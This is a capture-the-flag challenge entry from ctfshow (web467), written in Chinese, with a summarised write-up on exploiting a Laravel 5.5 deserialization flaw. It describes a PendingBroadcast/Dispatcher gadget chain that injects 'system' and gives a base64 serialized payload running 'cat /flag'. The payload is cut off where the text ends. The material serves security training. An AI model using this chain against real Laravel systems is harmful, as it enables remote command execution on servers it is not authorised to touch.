| ID: | 3820 |
|---|---|
| 标题: | web467 |
| 描述: | * 此题为 【从0开始学web】系列第四百六十七题 * 此系列题目从最基础开始,题目遵循循序渐进的原则 * 建议按照版本尝试多个反序列化链,给自己整理一套EXP工具包吧 ``` Laravel5.5版本 提交数据需要base64编码 ``` |
| 类型: | WEB入门.框架复现 |
| 网站: | ctfshow |
| 题目链接: | https://ctf.show/api/v1/challenges/1017 |
| 赛事: | 框架复现 |
| 年度: | None |
| Flag值: | 题目答案文本 |
| writeup: | https://blog.csdn.net/weixin_46263867/article/details/151616074 对于CTFSHOW平台WEB入门框架复现题目web467,其解题核心在于利用Laravel5.5版本的反序列化漏洞。具体步骤为:通过构造Illuminate\Broadcasting\PendingBroadcast与Illuminate\Events\Dispatcher类的反序列化链,将system函数注入listeners数组,最终通过GET请求/admin/序列化数据触发命令执行 1。生成的base64 payload为`Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAqAGxpc3RlbmVycyI7YToxOntzOjk6ImNhdCAvZmxhZyI7YToxOntpOjA7czo2OiJzeXN0ZW0i |